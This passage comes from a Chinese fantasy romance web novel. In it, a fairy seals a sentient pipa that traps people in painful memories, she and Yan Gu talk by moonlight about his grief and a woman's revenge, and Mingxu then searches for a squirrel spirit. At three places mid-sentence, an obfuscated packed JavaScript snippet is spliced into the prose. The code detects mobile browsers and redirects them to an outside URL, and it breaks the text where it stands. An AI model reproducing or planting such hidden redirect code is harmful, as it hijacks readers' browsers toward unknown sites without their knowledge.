它气哼哼道:“可以,但你得告诉我,你到底是怎么逃出来的?” 青晏不说话,只冷冷地盯着它看。 琵琶只得随手解了离它最近的明煦的幻境,提高了音量道:“现在可以说了吧!” 明煦捂着脑袋摇摇晃晃地站了起来,口中一边嘶嘶地吸着凉气一边嘟囔道:“这觉怎么睡的,做的什么破梦……” 青晏见明煦一切如常,心中石头已放下大半。 她盯着琵琶继续解了唐禾的幻境,这才开口道:“倒不是你的幻境有什么问题,只是你倒霉遇上了我。” 琵琶感觉自己又快要燃烧起来了:“遇上你怎么了?难不成你有什么惊天的大神通?” “惊天的神通谈不上,”青晏淡道,“我只是没有你这乐曲能够唤醒的东西。” 她清冷的眉眼中没有任何情绪:“我从未有过任何痛苦的回忆。” “哈!哈!哈!”琵琶得了意料之外的答案,大笑着在空中盘旋,“我还以为你有什么了不起的神通,原来竟是这般瞎猫碰上死耗子的缘故!” 它倏地停在青晏面前,语气阴险又恶毒:“剩下这个人的幻境我还偏就不解了,我倒要看看你能把我怎么样?就连风烬封印我的时候都要找几个功法高深的帮手,你和你手里这几个臭鱼烂虾,又能奈我何?” 青晏凝视着它的目光毫无起伏,鼻间发出一声早有预料的嗤笑。 琵琶本能地感觉不对,登时便要抽身逃跑,却发现自己正被玄元镜投射而下的耀眼光芒一点点吞没,丝毫动弹不得,就连那以上古魔兽震苍筋脉制成的琵琶弦都被定得纹丝不动,再发不出半点声响。 “知道你犯下的最大错误是什么吗?”青晏平静地看着不断试图在光芒里挣扎却没起到任何效果的琵琶,“你不该生出意识的。” “有了意识,就可以被操控,”她的手指逐渐收紧,玄元镜中的光芒也随之越来越盛,“这般被迫沉沦在自己最痛苦回忆中的煎熬滋味,如今你也亲自尝尝吧。” 琵琶只觉得自己恍惚间似乎又回到了那个漆黑可怖的夜晚。 浓烈的魔气不住地在它体内穿梭交织成一张密不透风的网,扼住它的喉咙,捆住它的思绪,让它沉沦在无尽的疯癫和痛苦中,再也无法醒来。 在意识完全陷入黑暗前,它用尽自己全部残存的力气艰难地问道:“你究竟……是谁?” 那个如山泉般清凉的声音成为了它脑海中最后的记忆:“我叫青晏,论幻术,我是你祖宗。” 30.月下 被光芒完全笼罩住的琵琶重新回归了正常大小,被青晏一把收入玄元镜中。 明煦与唐禾围在意识仍混沌着的颜故身边,两张写满了担忧的脸齐齐抬头望着青晏。 “这是怎么了?”明煦眸中透着不安,“他也做噩梦了?怎么叫不醒呢?” 唐禾眉间阴云密布,垂下头去没有说话。 青晏将颜故扶直,盘膝坐在他对面,指尖上跃动着极淡的蓝白色光芒。 她引着光芒从颜故的额间进入,缓声道:“琵琶已不再能操控它所设下的幻境,所以目前只需引导颜故自己发现幻境的不真实处便可从中剥离,不算难事。” 随着时间不断流逝,颜故的额角逐渐沁出粒粒汗珠,嘴唇也紧紧抿成一线。青晏眉心拧起,轻叹道:“戒备心太重了。” “怎么了?”明煦问。 “他虽然已经发现了幻境的不真实处,但却也并不完全相信我的引导,以为是另外一个圈套,正往外赶我呢。” 唐禾焦急道:“那怎么办啊?” “无妨,没有我的引导他也能走出来,不过是多耗费上一点时间罢了。”见颜故的神情逐渐趋向平和,青晏缓缓收回光芒,“戒备心强一点不是坏事。” 很快,颜故那浓密纤长的睫毛颤了颤,紧接双眼猛地睁开,眸中的冷漠和警觉几乎快要满溢出来。 不过短短一瞬后这两种情绪便消失了,取而代之的是恰到好处的担忧和关切。 他单手撑地站了起来,在青晏身上迅速扫视了一圈:“你没事吧?” 青晏笑笑:“无碍。” 颜故的肩膀这才缓缓放松下来,对着仍凝神观察着他的明煦和唐禾展颜一笑:“别担心,我也没事。你们怎么样?” 明煦这才放下心来,长出一口气道:“我还行,就是做了个噩梦。” 颜故眸光微微一凝:“噩梦?” “对啊,也不知道那琵琶到底用了什么招数,我做了一个特别可怕的噩梦,梦里那小姑娘惨得呦,我现在想起来都觉得瘆得慌。” 明煦打了个寒战,摇摇头继续道:“不过我醒过来的时候正好听见青晏在说什么‘自己从来没有痛苦的回忆’,这是怎么一回事呀?” 她的大眼睛忽闪忽闪地看着青晏。 青晏垂下眼帘,以一副淡然的口吻道:“哦,想来是裂魂琵琶的绝招,以乐曲制造幻境,所以封印一解它便迫不及待地使出此招。我猜,它演奏的乐曲能让人重返自己最痛苦的回忆之中,非死无法逃脱。但若是受术之人没有痛苦回忆,它便会随便找一段别人的痛苦回忆强加给你,这便是你刚才做的噩梦了。” 明煦恍然大悟:“我就说嘛,我怎么不知道自己有什么痛苦回忆,不过是练武的时候偶尔会痛一痛罢了,但苦倒是一点儿也不苦。” 她突然像想到什么一样“哎”了一声,然后歪头好奇道:“那琵琶强加给你的是什么痛苦回忆?” 青晏面不改色地扯谎:“施加回忆也是要看受术方精神力的,我本就专擅幻术,在这方面,它的花招还不够看。” 她看向灰头土脸,身上也不同程度挂了些彩的明煦几人,蹙眉道:“先回去休整一下吧,等下我与温隐知会一声,让他醒了之后找人来负责这里的善后。” 唐禾扑掉下巴上的灰,正打算依言离去,耳中却突然飘来一声极为轻微的啜泣。 他疑惑地朝四下望了望,却什么都没发现,只有耳边的啜泣声越来越大,直至变成了不住地抽泣。 他心念一转,没立即回到锦绣客舍,而是去了声音传出的地方,定睛观察了好一会儿,才在靠近天牢外墙的墙根处发现了一个躺着的人影。 又似乎不能说完全是人影,毕竟哪个人也不会长着一对细长粉红的耳朵…… 唐禾看着这个似乎是化形失败了的小兔妖,心里犯起了难。 瞧她现在的样子,倒像是也中了那琵琶的痛苦幻境,如今正无法自拔。若是就把她这么留在这,从幻境里出不来是死,明天一早被其他人捉到了也是死。 可这兔妖毕竟来历不明,也不好把她带回去求玄镜仙子替她解开幻境,不然万一这是个陷阱,岂不是会害了大家伙吗? 要不……我自己先试试?唐禾蹲下身子,学着青晏的样子在指尖亮起光芒。兴许是因为离得近了,他听见那兔妖嘴里小声地哭着她的姐姐。 姐姐快跑,别回头。 她不住地哽咽着,嘴里翻来覆去只有这一句话,鼻尖也哭得发红。 唐禾怔怔地看着她被泪水哭花的脸,整个人像被定住般动也不动。 他曾经也有个妹妹的。 这个小兔妖又是谁的妹妹呢?她的姐姐怎么了,为什么会出现在她最痛苦的记忆里呢? “见你半天不回来,还以为出了什么事。”青晏的声音突然在唐禾头顶上方响起,“这兔妖怎么了,你认识?” “仙子!”唐禾一下子回过神,紧张地站起身来,“不认识,只是临走前突然听见她在哭,可能是中了琵琶的幻境,我还在纠结要不要把她带回去,您就来了。” 青晏扫了一眼那地上的人影:“她应该是碰巧进入了施法范围。那琵琶多少还有点良心,方才奏的乐曲对凡人无效,但彼时这兔妖那两百年的修为就成累赘了。” “回去吧,”她利落地解了兔妖的幻境,一直淡然无波的脸上终于浮现了一丝疲累的神情,“你的法力消耗了不少,也受了伤,要好好回去休整才是。” 唐禾既得了夸奖又得了关心,心中别提多高兴了。他眼睛亮亮地连连点头,回头看了看不再哭泣,神情也逐渐和缓下来的小兔妖,安心地回到了客舍。 ------------- 锦绣客舍后院中央。 青晏闭眼仰躺在竹制摇椅上,身旁小茶桌上摆着一只细腻如脂的精巧杯子,杯中浅亮饮汤泛着微微的光泽,此刻正随着轻柔拂面的夜风泛起一圈圈涟漪。 摇椅有一下没一下地晃着,月光透过枝叶洒下的阴影就这么随着摇椅摆动的节奏,在青晏眉目清绝的脸上忽隐忽现。 半晌后她伸手向茶桌上摸去,手指刚触到杯子便倏地睁开了眼,有些诧异地注视着突然出现在屋顶上的颜故。 即使相隔甚远,颜故又是背对月光而立,她还是能感受到他面上那一瞬间绽放出的温柔和煦的笑意。 “伤还没好利索,怎么不在屋里休息?” 颜故轻盈地从屋顶跃下,一身玉色衣衫随风翩跹纷飞:“这话我也想问仙子呢,”他立在茶桌旁,低头与青晏笑着对视,“光让我们好好休整,自己怎么跑来月下独酌?” 青晏指了指高悬的明月:“在月光下想事情会想得清楚些,况且对我来说这也算是休息。”她看着站在这就不走了的颜故,“你方才在屋顶是要……?” 颜故笑靥柔和,就连声音也变得更加悦耳起来:“说起来像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14105287|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨巧,但实不相瞒,我也是想来月下厘清心中纷乱的。仙子可要邀我一起?” 青晏挥手在茶桌对面加了一把摇椅,算是做出了回答。 颜故笑眯眯地谢过后坐下,视线不由自主地落在了青晏杯中那澄亮的饮汤上,“仙子喝的是什么?酒吗?” “梅子汤,”青晏轻打响指,靠近颜故那侧的茶桌上也出现了一杯同样的梅子汤,“尝尝看,不喜欢就换掉。” “喜欢的,”颜故啜了一口,“酸甜冰凉,沁人心脾。” 他又饮了一口,随后放下杯子,侧头道:“刚才瞧它的颜色,还以为是酒。不过说起来好像几乎没见仙子饮过酒,是不喜吗?” “我确实不喜欢酒的味道,非要喝的话,只有一两种能勉强入口。” “哪一两种?” “天界有个专爱捣鼓各色花草树木果子的千嘉仙姝,她酿过的那几百种酒里,有一味桂花酒,喝起来还算不错。” 颜故微微有些惊讶:“几百种酒里,仙子竟只爱其中一味?” 青晏摆摆手,表示这可不是她太挑,而是那位千嘉仙姝经常爱灵机一动。所以那几百种酒里,常规一些的口味也不过十几个,其他的诸如什么阿比树皮酿的酒、烈焰草酒,仅靠其出色的风味,便放倒了不少敢于尝试的勇士。 于是时间长了,基本没什么人敢吃她做出来的东西,只有她最好的朋友,也就是可怜的织天仙主看在多年的情谊上不得不给千嘉几分薄面。而织天仙主不仅管着天织坊,同时也身负为天界布云的责任,所以只要你发现今日的云似是有些不大正常…… “那便说明织天仙主又倒在了千嘉的精妙配方之下。”青晏总结道。 颜故凝望着她:“仙子好像很会发现常人不太注意的小乐趣。” “那是自然,仙生漫长,若只有修行该多无趣。”青晏双手枕在脑后,望着月亮散发出的淡淡光晕,“不过没有修行也是万万不行的,就好比今日若不是我们实力尚可,再加上足够幸运,能不能活着出得了那间牢房都不一定。” “怎么会?”颜故眉心微微拧起,立即道,“虽说我与唐禾修行尚浅,委实奈何琵琶不得,但今日能全身而退全是仰仗仙子力挽狂澜,仙子游刃有余的英姿我们有目共睹,仙子所在之地便是我们安心之处。” 青晏无语地看了他半晌,又缓缓将头转了回去,忍了又忍才没把白眼真的翻出来:“你再这么说话,就别想再喝我的梅子汤了。” 颜故好看的眼尾长长地翘着:“仙子对我真好,竟没说丢下我不管,只是不准我喝梅子汤。” “那我又能怎么办呢?刚一下界就遇上这么棘手的麻烦,还不知道后面还会有些什么。真给你丢下了,万一你小命不保,我以后这日子可就没法过了。” 颜故一双眼眨也不眨地看向青晏:“仙子为何这么说?” 青晏丝毫没察觉到颜故投过来的目光里有着什么复杂的东西,只是继续懒洋洋道:“因为活在深重的愧疚里是件很痛苦的事情,我才不要陷入到这种漩涡里。” “每日睁眼的第一件事就是被自责和悔恨淹没,快乐是罚,幸福是罚,就连安宁也是罚,似乎只有尝遍天下最深的苦楚方能稍减心头重负。当然,获得真正的原谅才是最有效的解药,可很多事情并不是那么容易被原谅的,而若那令你心怀歉疚之人已不在人世……” 她轻声道:“那便是个永生永世都无解的难题了。” 31.痛苦 “所以说,为了避免这种痛苦,我一定得保证你好好活着。”青晏道。 颜故僵直在摇椅上。 他听见自己的声音含笑问道:“哦?仙子感悟怎么如此深刻,是听了什么身边人的故事吗?” 青晏耸肩,表示不过是从话本里得来的经验,她虽没有明煦那么爱看,但也读过不少。 颜故轻颤了几下睫毛,神情很快恢复了正常,只有嗓音还带着些不自然的沙哑:“如此甚好。” 他咽了咽,又道:“方才仙姬听到的,可是真的?仙子真的从没有过痛苦的回忆?” “很离奇是吧?虽说偶尔会有些烦心事,但若说痛苦,倒还真是没有,我也觉得自己幸运极了。”青晏不禁发出一声慨叹:“就连今日,也真的是多亏了这份幸运。” 真的是太幸运了,那琵琶的绝技竟正好是她最擅长的幻术,而她又恰好没有痛苦记忆可被操控,这才能轻易逃脱就连魔尊风烬都只得狼狈逃出的幻境,又成功将琵琶重新封印进自己的玄元镜中。 她好半天没听见任何声响,转头一看颜故神色有些不对,于是犹豫着问道:“你……还在想方才的幻境?” 颜故抬起半垂着的眸子:“琵琶方才所奏的乐曲,真的会施加一段别人的痛苦回忆给没有这样经历的人吗?” “会啊,”青晏的面色平静如水,“会的。” 她凝视着颜故:“怎么,你方才也被强加了回忆吗?” 颜故直直地回望着青晏,片刻后才清晰地开口道:“没有,那就是我自己的回忆。” 他紧紧捏在摇椅扶手上的指尖有些发白:“……仙子想知道吗?” 青晏低眸想了想:“我虽没有过什么痛苦的经历,但书读得多了,总能略微感同身受些。” 她的嗓音本偏冷,可此时话语间的温和之意却如同一朵柔柔的云,轻轻覆盖在了颜故的心上:“每个人处理痛苦的方式都不一样,有人需要把痛苦倾诉出去才能逐渐好转,而有人觉得这软肋只有自己知道才最安全。无论你是哪一种,无论你想怎么做,我都尊重你的决定。我的好奇心,从不会对别人的苦难进行探寻。” “那如果说……”颜故的声音放得很轻,“我愿意被仙子探寻呢?” 月光柔和地洒落在他的脸庞,流转着的银色光辉勾勒着他俊美无双的容颜,将那双温柔似水的桃花眼映衬得更加深邃如潭。 青晏望着他那张堪称摄人心魄的脸,心中第一次明白了“美色误事”这四个字的含义。 她整理了一下自己的思绪,微笑道:“那说明我这个指引仙官做得还不错,毕竟要获得一个人的信任是很难的,我也很感谢你愿意给我这份信任。” 那仙子……信任我吗? 颜故挣扎了许久,还是没有把这句话问出口。 他抿了抿唇,声音有些干涩:“我那时,是回到了我师父陨落的时候。” “一切都来得太突然了,我没有任何心理准备,也做不了什么,只能眼睁睁地看着师父在我面前死去,甚至一句话都没能留下。那天之后,我做了很久的噩梦,梦里永远是那个可怕的画面,好像这辈子都没办法从我脑海里抹掉。” 颜故盯着自己杯中的梅子汤:“我本以为随着时间的推移,我会逐渐习惯这种痛苦,甚至淡忘这种痛苦。然而在幻境中,当那场景再一次鲜活地出现在我眼前时,我才明白自己是多么的愚蠢。” “这不是愚蠢。”青晏温声劝慰道。 琵琶这招的阴险之处就在于让人重历旧痛,突然被拉回那样的场景,没有人能做到无动于衷。就算已经从幻境中脱离,之后的几天内怕是也会心绪难平。 她继续道:“我虽不认为只有经历了生离死别、痛苦绝望的人生才叫完整,也觉得能彻底忘记痛苦是一件幸运的事,但无法忘记也不代表是坏事。” “比如若是因为做下了什么蠢事而产生的痛苦,那便必须要时刻铭记,来避免自己日后重蹈覆辙;而你现在所感受到的这份痛苦,源自于你对至亲之人的深厚爱意与尊敬,那么为何一定要逼迫自己去遗忘这份痛楚呢?” “我以为……我已经可以做到控制自己的感情,不会再被它支配拉扯到无法自拔的地步,却没想到还是徒劳无功。”颜故垂睫望着地面,“我不愿成为一个连自身情绪都无法掌控、软弱无能的人。” 青晏眨眨眼:“你觉得我是一个软弱无能的人吗?” 颜故顿时抬起头来:“怎么可能?仙子是我见过最……” 青晏立即抬手止住颜故要说的话,不紧不慢道:“可我基本不会掩饰对一个人、一件事的好恶,除非不这么做会给我带来非常、非常大的麻烦。那么我在大部分时间里也没有去掌控自身的情绪,可这又怎么样呢?” “但我和仙子终归不一样,”颜故面色有些晦暗,“我目前……还做不到。” 青晏看着即使在摇椅上也依然正襟危坐,姿态好看得挑不出一点错的颜故,心中忽然就软了一下。 她不知道他竟有这样细腻的心思,不过想来也是应该的,从认识他的那天起他就永远思虑周全,永远事事妥当熨帖,永远能给出恰到好处的回应,也永远能一针见血地指出问题的关键,真正做到了宸景口中的“伶俐省心”。这样的人,不可能没有一颗七窍玲珑心。 可这样活着,是不是太累了呢? “做不到那便不要做啊,”青晏笑道,“为什么一定要逼迫自己变成另外的模样?” 颜故也笑了起来:“若不修成钢筋铁骨,怎能与仙子并肩呢?天帝当初将我指给你,不也是因为我在新晋仙使里是佼佼者,行事周到,伶俐省心吗?” 什么叫指给我。 青晏隐隐觉得这个词用得怪怪的。 “钢筋铁骨可以,但心并不一定也要跟着硬,”她指了指颜故的心口,“有一颗柔软灵活的心,从来都是好事。” 颜故的目光落在青晏的脸上:“仙子真的好会安慰人。” 青晏长出一口气:“你不难过了就好。” 她端起梅子汤连饮两口,刚打算惬意地眯上眼睛,颜故那清润的嗓音就又在微微凉风中响起:“我方才来之前,仙子在想什么?可以和我说一说吗?” 倒也不是什么机密的事情,青晏望着杯中泛着红的梅子汤。 她只是一方面还在想承安郡那些祸事,一方面又难免为柳滢容感到唏嘘。 柳滢容虽然的确做下了无可辩驳的错事,但……不知怎的,自己实在不忍苛责于她。 颜故闻言垂下他那长长的睫毛,似乎有一瞬间的出神:“也许……是因为她确实背负了血海深仇,情有可原,而那些被她所害之人,也不是全然没有错处吧。” 青晏轻声道:“或许吧。” 颜故斜望着小茶桌的桌角,忽然笑了笑:“其实,我刚才之所以想出来透口气,也是因为在想这件事情。” “你是在想,倾尽所有去复仇却只得到了这样一个结果,到底值不值吗?” “她死的时候,恐怕是觉得值的吧。”颜故的声音没什么起伏,“最恨的人已经被自己挫骨扬灰,最挂念的人也马上就要重返人世,说不定最后一刻的她是幸福的。” 青晏想起柳滢容死前露出的那抹微笑,心中泛起一丝淡淡的酸涩。 柳滢容的爱太浓烈,恨也太浓烈,不仅将自己周围的一切撞得粉碎,就连余波都能蔓延出如海啸一般的伤痛与死亡,嘶吼着将数十条人命无情夺去。 可这样一个在崩裂的爱与恨里苦苦煎熬过的人,她生命最后一刻感知到的情绪,竟然是幸福。 颜故瞳孔深处仿佛有铅灰色的浓云在慢慢舒卷。 他想的不是值不值。 因为这个问题没什么好想的,值,当然值了。 他想的,是柳滢容在利用齐王,利用这个世上对她最好之人的时候,心里到底有没有过一丝因愧疚而产生的动摇? 若是有,她又是如何克服这些软弱的心思,坚定地在这条路上走下去的呢?而若没有…… 他的视线微微偏移到青晏的方向。 真的会没有吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14114882|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 颜故微微仰起头,看向沁凉如水的月亮:“也不知道那琵琶是不是真的能够让齐王忘记。” 青晏想了一会儿,慢慢道:“希望他最好还是全都忘了吧。” 他们沉默地坐在寂静冷清的夜色里,彼此都出神地想着些什么,好半天都没发出任何声音。 还是颜故率先打破了这片沉寂:“不过说起来,裂魂琵琶作为魔界至邪法宝之首,既然已经被风烬加诸了重重封印并妥善安置,那它又是怎么从魔界来到这里的呢?” “这也是我刚才所想的问题之一,”青晏敲了敲杯壁,“还有,我相信柳滢容刚才所讲的在她看来应该都是实话,但这样算下来她在承安郡只杀了二十五个人,和实际死亡数字相距甚远。” “那么这些对不上的人命,如果不是琵琶自行动手,就一定还有其他的事情是我们还没查出来的。” 颜故闻言,眉头压得更低了。 青晏见他忧心忡忡的模样,不禁抿了抿唇好压下马上就要泛起来的笑意,语气轻松道:“给你个任务。” 颜故抬起头,澄澈的双眼中满是疑惑。 “今天晚上,什么动脑子的事都不要做,尤其是刚才那两个问题,其实根本不需要去想。” 青晏打了个响指,玄元镜静静地浮现在月光下,镜面中显现出来的正是方才被收进去的裂魂琵琶。 只是此刻的它已不复刚才那副张牙舞爪的模样,而是静静地瘫在镜面里,周身萦绕着灰败的气息。 “等再多关些时日。它老实了,没力气再耍什么花招的时候,刚才那些问题,直接问它便是了。” 青晏悠悠地转着食指,玄元镜随着她的动作在空中转了一圈又一圈:“既然已经进了我的镜子里,就不怕它不说实话。” “仙子幻术之强悍,真乃世间罕见,”颜故前倾了身子,诚心诚意地夸赞道,“竟能将连风烬都需要其他魔族配合才能封印住的裂魂琵琶轻松囚于幻境之中。” 青晏摇头道:“我们刚才真的是讨了巧。若不是那琵琶的绝技恰好也是幻术,以它的威力,我是不敢轻易用出此招的。否则万一它以蛮力破开了我的幻境,我作为幻境之主必会受到反噬,届时我们想要全身而退恐怕很难。” “所以仙子方才从幻境中脱离时,裂魂琵琶也受到了反噬?” “唔……应该吧,”青晏摩挲了一下自己的下巴,“到时候也问问它好了,就是不知道会不会在它脆弱的心灵上再撒上一把盐……” “没关系,这把盐可以让我来撒,”颜故微微一笑,“就当报了它让我陷入到痛苦回忆的仇了。” 青晏随口答应下来,然后侧眼看向颜故:“我要回去了,梅子汤要给你留点好让你继续赏月么?” 颜故修长的手指优雅地掩住自己的下半张脸,打了一个观赏性极佳的哈欠。 他慢慢抬起自己略微有些湿润的眸子,声音里也带着些倦意:“今日先罢了,我打算遵循仙子的命令,去做一些不仅不需要动脑子,也不需要动其他任何肢体或关节的事情了。” 青晏一边挥手收去了她所幻出的那些桌椅杯子,一边随口道:“哦,这么说你睡觉还挺老实的?” “或许吧?”颜故歪头想了想,“从前没有人见过我的睡姿,我也无从知晓,不过现在倒是可以问问唐禾。” 青晏斜眼睨他:“真的么?你真的会问么?” “如果仙子想知道答案的话……”颜故的眉眼弧度很是纯良,“多么奇怪的事情我都会照做不误的。” 青晏立即抬手制止:“大可不必。” 颜故粲然一笑,视线不知怎的突然落在了青晏在皎洁月光下拖出的长长的影子上。 地面上他们两个人的影子是如此亲近,好像只需要微微侧过首去,便能将自己的影子与青晏的轻轻地、缱绻地交叠在一起。 可下一瞬青晏的影子便消失了。 她已经回去了。 颜故在原地站了一会儿,随即转过身,隐匿进了清透月光无法触及的郁郁黑夜中。 32.遇袭 法力消耗过大的明煦一觉睡到了日上三竿。 她迷迷糊糊地撑起自己的眼皮,毫不意外地在另外那张床榻上看到了依然稳稳躺着的青晏,心下顿时宽慰极了,于是转身抱着被子,再次陷入了香甜的梦乡。 等她的意识再次逐渐恢复时,先醒来的居然是嗅觉。一股好香好香,浓郁中带着点辛辣的气味正不断试图将她从床上拉起来,并且很快便获得了成功。 “什么好东西!”明煦瞬间睁开眼,“噌蹭”两步便跑到了香气的来源——那扇没关严的窗户边上。 她探头向下一望,见楼下的摊子上架起来一口正炒着花椒的小锅,旁边还摆着一个正在勤勤恳恳磨着花椒的石磨。 什么嘛,我还以为是有了什么好吃的呢。 明煦意兴阑珊地坐了回去,结果却自己已经被那道香辣的气息勾起了肚子里的馋虫。 她靠在床边盯着青晏熟睡的身影想了又想,最终还是鼓足了勇气,向她的床榻迈出了脚步。 在经历了不下五次的轻柔拍打后,被拍打了枕头的青晏终于给出了一点反应。 她的右眼睁开了一道几不可见的缝隙。 “醒了?”明煦小心道。 青晏发出了一道短促的呼吸声。 明煦就当这是回应了。 她指了指外面已经开始往下沉的太阳:“都已经下午了,咱几个一起出去吃点东西吧。” 青晏右眼那道缝隙合上了:“你饿了?” “饿倒肯定是不会饿,但确实很想吃东西……”明煦咕哝道。 片刻过后,青晏的眼睛再次缓缓张开——只不过这次张开的是两只,也不再只是露出一道缝隙,而是彻底全部睁了开来。 她撑着床榻坐了起来,面无表情地神游了半天,然后才努力地抬了抬自己的眉,深深呼出一口气,整个人很快便恢复成了平日里那副冷静自持,泰然自若的模样。 她又懒懒地磨蹭了一会儿,这才被火急火燎的明煦推着出了客舍。 酒足饭饱后,回到客舍的明煦心满意足地摸着自己的肚子,以一个极为舒展的姿势仰靠在椅背上。 她注意到唐禾脸色似乎还是有点不太好的样子,便问道:“是不是法力消耗太大了?” 唐禾不好意思地点了点头,神情逐渐落寞起来:“还是我不够强……” 青晏劝慰道:“别这么想。正常来说,裂魂琵琶这种水平的法宝本就不是一般游历中会遇见的东西。我敢保证,此前所有的新晋仙使都没有过这种待遇。” “那仙子是如何知道裂魂琵琶的?”唐禾眼中闪动着任谁都忽视不了的崇拜,“那日您将它的来龙去脉讲得那样详尽,我看连它自己都吓到了呢。” 青晏无所谓地摆摆手。 她那时所讲的,也只不过是她唯一听过的传闻。之所以对琵琶说得那么详细,也是因为看它小孩儿心性想诈一诈,没想到居然全是真的。 要知道毕竟在各类籍录记载中,裂魂琵琶除了一个名字,以及得之可屠千城的评价外什么都没有,甚至还有不少籍录直接删掉了它,认为不过是魔界的胡乱吹嘘,或是以讹传讹的谬误。 明煦立即饶有兴趣地问她到底是在哪儿听说的这传闻。 青晏笑笑:“当年我和师父一起游历时,他带我去乐楼听曲。就在路过一间关着门的房间的时候,里面正好传来了一阵琵琶曲的声音。” 她回忆起那段曲子,心有余悸地摇摇头:“简直要多难听有多难听,活像有人拿着在梅雨天锈了十年的钝锯去磨一只斗鸡的坚硬鸡喙所发出来的声响。” “你这个描述……”明煦“嘶”了一声,“不会是正好听过这种动静吧?!” 青晏不置可否。 “搞得我也好想听,到底是有多难听啊。”明煦不住地打着响指,“又嘎吱嘎吱,又噼啪噼啪,说不准还颤颤巍巍的,然后混合着鸡的尖叫……” “……所以我师父当时就说,”青晏极为自然地阻止了明煦的想象,“这琵琶对人耳朵的伤害程度简直可以与裂魂琵琶相较高下,接着他就给我讲了那个传闻。” 颜故开了口:“那这么隐秘的传闻,存羽仙圣是如何得知的呢?” 他微微垂着眼帘,脸上几乎没有什么表情。 “这个我就不清楚了,”青晏耸耸肩,“不过我师父总是知道很多稀奇古怪的事情,平时也很爱收集一些新鲜稀罕的东西,可能纯粹是个人爱好吧。” “存羽仙圣真的是一个很有意思的人,”明煦挤过来补充道,“等你们见到他就知道了,一点架子都没有,和小辈也很合得来,我们之前总在一起玩呢。” “那湛德仙圣和向明仙圣呢?”唐禾打听道。 明煦想了想,道湛德仙圣很令人尊敬,就是那种你一看到他就情不自禁立定站好并深深鞠躬的那种尊敬。 至于向明仙圣,平时应该没什么人有机会见得到他,而且即使见到了也不用特意打招呼,他不喜欢看见除了他自己以外的任何人,打招呼也会装作没看见。 “既然向明仙圣如此避世,那他绕口令说得好这件事……”唐禾好奇地转了转眼睛,“难不成仙子亲眼见过?” “唔,那倒没有。”青晏道,“只不过有一次他和湛德仙圣吵架的时候嘴皮子溜得飞快,说的词也十分押韵,所以我猜他可能绕口令也讲得不错。” “两位仙圣当着你的面吵架?”明煦眉毛抬得老高。 “怎么会,”青晏几乎无声地哼笑了一下,“他们是当着我师父面吵的。” 她指了指安静地躺在桌面上的玄元镜:“而我师父觉得这热闹我不能错过,便通过镜子给我欣赏了。” 明煦兴奋地表示下次再有这种好热闹也别让她错过,青晏闻言叹了口气:“近期应该是没有比裂魂琵琶更大的热闹了。” 她皱着眉:“等再过几天它老实了,一定要好好问问它是怎么到人界来的。我有点担心,会不会还有其他类似的法宝也隐匿在人界各处,这才导致了如今这般乱象。” “瞧它那股嚣张劲儿,是得在你这镜子里多待上几天。”明煦道。 她又问青晏,他们接下来该做些什么。 青晏道之前让温隐去查的福运一事如今有了些线索,他们几人不妨先接着这些线索查一查,也好让温隐可以多休养一阵。 毕竟他是一个人单枪匹马地对上了裂魂琵琶,如果那个时候琵琶没有被存有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14129197|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善心的柳滢容操控,温隐此时恐怕已经凶多吉少。 一提到柳滢容,明煦神色有些复杂:“唉……不知道齐王最后是不是真的会忘记这一切,好想打听一下。” “打听这个做什么?” “我也不知道……”明煦犹犹豫豫地,“可能是好奇?关心?放不下?” 她实在搞不清楚自己的心情,索性带着椅子朝青晏挪了过去,一头栽到她的肩膀上,黏黏糊糊道:“哎呀你还不知道我嘛,我就是很想知道故事的结尾,不然我就会一直想一直想,一直想到吃不下睡不着……” “好好好,”青晏只好投降,“我之后想办法给你打听,你现在老老实实地查福运的线索不要分心,成交?” “成交!”明煦利落地与青晏击了个掌。 ------ 承安郡往东三十里,一个名为翠岚峰的山头上。 明煦扛着一根自己挑挑拣拣找了好久才找到的一根形状笔直的完美树枝,独自一人沿着蜿蜒的山路潇洒前行。 经过第三座桥时她向右一拐,嘴里仍在不住地嘀咕着:“顺着第六颗核桃树往里走,第五块大石头身后的第二个山洞……” “住的什么破地方啊,这么难找。”她心中暗暗抱怨,却仍是一刻不敢放松口中的念叨,生怕一不小心就给记岔了。 这可是她沿着温隐留下的线索埋头猛查了好几天,问了一大堆各路小妖和低级魔族才问出来的消息。 只要找到这个据说已经做了好几年福运交易的松鼠精,说不定就能从它那问出更多的事情,这样一点点摸索下来,说不定未来某天他们就能成功抓到幕后黑手本手…… 明煦身上突然泛起一丝微妙的冷意。 “嗖!” 